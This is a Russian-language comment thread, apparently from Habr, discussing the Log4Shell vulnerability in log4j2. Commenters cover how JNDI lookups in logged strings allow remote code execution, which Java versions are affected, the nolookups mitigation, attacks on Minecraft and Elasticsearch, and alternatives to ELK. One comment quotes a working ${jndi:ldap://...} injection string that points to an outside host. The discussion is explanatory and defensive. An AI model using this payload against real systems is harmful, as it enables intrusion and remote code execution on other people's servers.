Comments 62
Хм. Перечитал половину ссылок, но так и не понял, до конца, как же ее эксплуатировать. Ну ок, ${jndi:...} позволяет загрузить и выполнить произвольный класс из произвольного места. Дурь конечно несусветная, но… Во всяком случае, насколько я помню, шаблоны такого вида используются в конфигурации log4j, то есть в моем файле log4j.xml, например, а не в тех строках, которые пишутся в лог. Строки-то атакующий может контролировать с высокой вероятностю, например, обычно логируются так или иначе запросы, заголовки и пр. Но мою-то конфигурацию атакующий не контролирует. Я что-то не учитываю?
Ну вот как раз в моем понимании — не будет.
Вот кусок документации на подстановки:
Log4j 2 supports the ability to specify tokens in the configuration as references to properties defined elsewhere.
Видите tokens in the configuration? То есть, я понимаю, как ${jndi:...} записать в конфигурации, и прекрасно понимаю, что это потенциальная дыра. Дырища даже. Но это дырища в конфигурации, то есть атакующий должен контролировать log4j.xml. Чего обычно не бывает, во всяком случае просто так.
А чтобы внешний атакующий смог такое сделать, эти шаблоны должны обрабатываться в логируемых строках. В моем понимании, если я в лог пишу переменную — то в ней подстановки не производятся. И все примеры, которые мне с ходу попадаются на глаза — они содержат именно конфиги, а не логируемые строки.
Судя по всему они написали универсальный обработчик строк. :) Теперь это обрабатывается не только в строках конфигурации а и вообще в любой логируемой строке.
Раньше было так:
You could disable message pattern lookups globally by setting system property `log4j2.formatMsgNoLookups` to true,
or defining message pattern using %m{nolookups}.
Ну т.е. если в шаблоне не было написано %m{nolookups} — то подставлялось.
То есть по умолчанию в log4j2 было сделано, что подстановки обрабатывались, в том числе в логируемых строках. А последний фикс их выключил.
Если найдется кто-то шибко умный, и у себя в конфиге напишет %m{nolookups}, то его система (скорее всего) не уязвима.
P.S. У меня вообще log4j 1.2.* Он конечно не поддерживается, но зато такой фигни там нет.
атакующий должен контролировать log4j.xml
Не должен. Конфигурация по-умолчанию это как раз парсить подобные строки и выполнять все, что там написано без каких-либо ограничений. Поэтому в качестве обходного пути предлагают эти конфиги править, чтобы это все отключить. А реальный фикс это отключение этого механизма по-умолчанию в библиотеке и введение белых список ресурсов, откуда можно код скачивать https://github.com/apache/logging-log4j2/pull/608
Уязвимость так же зависит от версии Java. Довольно давно там отключили возможность исполнения кода по-умолчанию, что вроде как смягчает ущерб, но и это все обходится, судя по всему https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/ Поэтому патчить придется.
Меня смутило, что в документации на сайте про парсинг строк ни слова, и все примеры — только про конфиги. Вообще такой парсинг означает, что производительность проседает дополнительно, хотя она и так не всегда удовлетворительная, то есть его стоит отключить в любом случае.
Скачивать код вообще запретил бы нафиг, это дурацкая идея, граничащая с диверсией.
Может быть и внутренняя эксплуатация уязвимости, когда злоумышленник, имея доступ к логам, сможет узнать секреты, хранящиеся в property-файлах или переменных окружения через sys- и env-лукапы.
загрузить и выполнить произвольный класс из произвольного места
А как достигатеся выполнение? Там, что ли, по контракту приезжает нечто с методом lookup(), за который дергают?
Уязвимость опирается на JNDI, которое являются частью Java. Если в log4net и будет уязвимость, то другая. В .net тоже есть средства подгрузки чужих сборок, но это надо сильно извратиться и быть конкретным таким вредителем, чтобы реализовать это так же, как здесь.
Вообще, судя по мутному описанию JNDI, в этом вся идея - скачать откуда-то Java объект. Читай, исполнить откуда-то произвольный код. Любому разумному человеку понятно, что любые возможности исполнения кода, полученного из любого внешнего источника, должны быть либо запрещены напрочь (какого хрена это вообще включено в библиотеке логирования), либо хотя бы отключены по-умолчанию.
Это было сделано наверное без умысла, но однозначно кто-то серьезно обосрался. Это базовые вещи и можно только догадываться, кто знал об этой уязвимости до нас.
В Java есть SecurityManager, который позволяет настроить кто что может выполнять, но редкий Senior знает про его существование, а тем более, как его использовать.
Он был объявлен устаревшим в Java 17.
А взамен не стоит запускать недоверенный код, это в любом случае ни к чему хорошему не приводит.
Вариант с запуском в отдельном процессе ОС понимаю. Таки это иногда жестковатая мера.
Ну, с виртуализацией/контейнеризацией конечно это возможно, но тут речь про запуск недоверенного кода в той же самой JVM, где недоверенный код будет взаимодействовать с доверенным. Конечно, можно было бы потратить много усилий чтобы сделать это безопасно (SecurityManager с этим справлялся плохо даже если был нормально настроен, к слову), если бы это было нужно значительному количеству людей. Но нет, почти никому это оказалось не нужно, потому что в большинстве случаев JVM используется для бэкэнда серверов, где недоверенного кода нет, а если таки надо его выполнить, то всегда можно заспавнить процесс в отдельном сильно ограниченном namespace'е, что и проще чем настраивать SM, и безопасней. Не вижу проблемы.
уже нет
Не, ну в целом-то понятно откуда. JNDI это то место, откуда в JavaEE делались лукапы сервисов, задеплоенных в наш же контейнер приложений (ну, так задумывалось). То есть, по сути, мы знаем, что вот тут живет такой-то сервис, по такому-то пути, и можем его дернуть. Но а) разрешать это делать даже не из кода, не из конфига, а из текста сообщения — это пипец как недальновидно, и б) разрешать лукап из произвольного контекста (произвольный API) недальновидно вдвойне.
Как я понял, эту строку нужно всунуть в запрос в то место, которое будет логироваться. Например все Application Server логируют заголовок запроса, включая и User-Agent. Или вы логируете какое-то пришедшее значение.
Все комьюнити Minecraft тоже в панике, чтобы выполнить вредоносный код на клиенте достаточно получить сообщение в чат, случаи уже есть. Разработчики и r/feedthebeast рекомендуют пока вообще воздержаться от мультиплеера.
Вот PoC: https://www.youtube.com/watch?v=KA5Pyd258kw
В оригинальном лаунчере уже пофиксили и выпустили хотфикс 1.18.1, а вот что делать с кучей кастомных проектов и модпаков пока не особо понятно. -Dlog4j2.formatMsgNoLookups=true вроде спасает ситуацию, но он нужен и на клиенте и на сервере.
А с учетом того, что в некоторых местах до сих пор работают древние версии Java и с фиксами заморачиваться никто не будет, ситуация становится очень печальной.
Уязвимость конечно серьёзная (и очень глупая, потому что делать по умолчанию замену плейсхолдеров в лог-сообщении это прямо рецепт как получить такие проблемы; с другой стороны, если бы разработчики которые используют эту библиотеку читали бы документацию не по диагонали, они бы знали про параметр nolookups и просто добавили бы его), но очень сильно преувеличена.
Именно RCE (загрузка класса и его выполнение) возможно только на Java 8u121 и более старых, на джавах новее требуется специальный флаг чтобы рантайм доверял классам загруженным по URL в соответствии с ответом JNDI или RMI сервера, поэтому на новых джавах можно только чуток попортить лог-сообщения и узнать IP-адрес сервера с программой которая это сообщение залоггировала (UPD: Нет, RCE на новых версиях джавы всё ещё возможен, но сложнее).
библиотеку читали бы документацию не по диагонали, они бы знали про параметр nolookups и просто добавили бы его
Такая логика и приводит к подобным уязвимостям. Такие вещи всегда должны быть отключены по-умолчанию. Если разработчик про них не знает, то он вне угрозы. Если знает, то это уже его проблемы, если его ломанут. А сейчас же косяк целиком и полностью на авторах библиотеки.
Новые версии Java тоже не спасут
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
То есть, разработчики встроили интерпетатор в логгер, в который могут попадать произвольные строчки от внешних источников, вот казалось бы, что тут может пойти не так?
Блин это же просто лютейший фейспалм. Сколько там ещё такого может быть?
А теперь задумайтесь над тем, что это открытая либа с открытыми исходниками, которым пользуется чуть ли не половина мира Java разработчиков. И, внимание, уязвимость заметили совсем недавно.
Сколько ещё подобных уязвимостей в привычных всем вещах? Становится страшновато.
А ничего удивительного. В Logback мы внезапно столкнулись с багом, который спровоцировал почти детективную историю поиска отказа в системе. Баг стоит в трекере ещё с 2014 года, но до сих пор не закрыт.
Ну, это бы хорошо бы померять. Речь ведь про версии 2.*, а у нас скажем 1.*, и никто не страдает от этого. Много ли таких, кто пользуется версиями 2.*, вопрос интересный.
Я так до конца и не понял, версия 1.2.х уязвима вобще к такой атаке или же нет? Или же это все касается исключительно 2.х версий?
log.info("${jndi:ldap://log4shell.huntress.com:1389/735a545e-cf12-4990-ad08-3e2e445c2cc9}");
Дичь, в логгере RCE. Спасибо индусам и кровавому энтерпрайзу.
Ещё не запостили?
Уже "майнкрафтеры в огне" Открылось 4-5 вкладок в браузере и перезагрузился ноутбук. Взломали?
Интересно, сегодня, я думаю, множество IT специалистов вызваны на рабочие места и срочно анализируют наличие или отсутствие дырки в их системах. И ищут следы взлома, если дырка найдена.
Только этим я могу объяснить сравнительно равнодушное отношение к этой новости на хабре.
Я то свои три часа овертайма отработал. Python / Flask / IIS - не задеты
В logback есть похожая уязвимость? Кто-нибудь проверял?
А все потому что не надо быть швейцарким ножом, ставя в приоритет количество фич над удобством и безопасностью.
Как предусмотрительно яндекс переписал log4j на c++ :)
В данной ситуации некрасивую позицию занял Elasticsearch, например. Их официальное заявление: "Elasticsearch is not susceptible to remote code execution" [1]. И в то же время в сети уже появились первые пруфы атак на их систему [2]. Вот зачем так некрасиво врать, спрашивается?
[1] https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476
[2] https://github.com/YfryTchsGD/Log4jAttackSurface/blob/master/pages/ElasticSearch.md
В современном мире использовать elastic - это уже риск, учитывая их текущую лицензию и "мамой клянусь, будем больно бить только Амазон и облачных провайдеров, вас требование на раскрытие всего кода точно не затронет".
Альтернативы ELK? Спасибо заранее)
Смотря для чего. Для логов лучше loki поставить.
Есть OpenSearch + их же Dashboard (прямая замена elasticsearch/kibana, но я их пока не пробовал). Мы пока решили не дергаться, т.к. риск не очень высокий, но, надо понимать, IANAL. С большой вероятностью если вы используете elk/efk внутри организации и не даёте клиентам его как сервис - вы не особо рискуете (или просто Джо Неуловимый для elastic co).
Logstash не факт что нужно менять даже с учётом сказанного выше, не помню его лицензию, честно говоря. Но он не user-facing и под anti-SaaS меры попадать не должен был даже если он сейчас под elastic license v2.
Если хочется ещё альтернатив, то можно подумать про fluentd/fluentbit вместо logstash/xbeat
Что-то мне подсказывает, что если ситуация дойдет до широких масс, то Java вновь станет самым популярным языком (по метрике количества поисковых запросов)...
«Интернет в огне»: критическая уязвимость Log4Shell терроризирует онлайн-сервисы